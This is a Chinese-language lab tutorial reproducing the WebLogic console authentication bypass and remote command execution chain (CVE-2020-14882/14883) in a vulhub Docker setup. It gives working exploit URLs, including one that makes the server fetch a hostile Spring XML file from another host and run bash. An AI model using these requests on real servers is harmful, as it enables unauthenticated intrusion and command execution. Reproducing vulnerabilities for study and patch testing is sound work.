Weblogic 管理控制台未授权远程命令执行漏洞

Weblogic 管理控制台未授权远程命令执行漏洞

Weblogic 管理控制台未授权远程命令执行漏洞（CVE-2020-14882，CVE-2020-14883）

Weblogic是Oracle公司推出的J2EE应用服务器。在2020年10月的更新中，Oracle官方修复了两个长亭科技安全研究员@voidfyoo 提交的安全漏洞，分别是CVE-2020-14882和CVE-2020-14883。

CVE-2020-14882允许未授权的用户绕过管理控制台的权限验证访问后台，CVE-2020-14883允许后台任意用户通过HTTP协议执行任意命令。使用这两个漏洞组成的利用链，可通过一个GET请求在远程Weblogic服务器上以未授权的任意用户身份执行命令。

---

漏洞环境

我们先下载环境，在github有别人直接搭建好的docker环境我们直接拿来用即可

git clone git://github.com/vulhub/vulhub.git
cd vulhub/weblogic/CVE-2020-14882/
docker-compose up -d

访问IP:7001/console/即可看到一个后台登陆页面.

---

影响版本

weblogic 版本：

10.3.6.0
14.1.1.0
12.2.1.4
12.2.1.3
12.1.3.0

---

漏洞复现

首先通过CVE-2020-14882的权限绕过漏洞，未授权访问后台管理页面，通过以下URL访问

http://ip:7001/console/css/%252e%252e%252fconsole.portal

然后通过CVE-2020-14883来执行任意代码执行

CVE-2020-14883有两种利用方法一是通过com.tangosol.coherence.mvel2.sh.ShellSession，二是通过com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext

一、com.tangosol.coherence.mvel2.sh.ShellSession方法直接访问以下构造的URL即可利用

http://ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/EDI');")

进入容器发现创建的文件

这个利用方法只能在Weblogic 12.2.1以上版本利用，因为10.3.6并不存在com.tangosol.coherence.mvel2.sh.ShellSession类。

二、com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext方法通用所有

我们构建一个xml文件，将其保存在weblogic能访问的服务器上:192.168.2.215:8080/EDI.xml:

<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
   xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
   xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
          <list>
            <value>bash</value>
            <value>-c</value>
            <value><![CDATA[touch /tmp/EDI1]]></value>
          </list>
        </constructor-arg>
    </bean>
</beans>

然后构造URL即可利用

http:/ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext(%22http://192.168.2.215:8080/EDI.xml%22)

进入容器发现创建的EDI1文件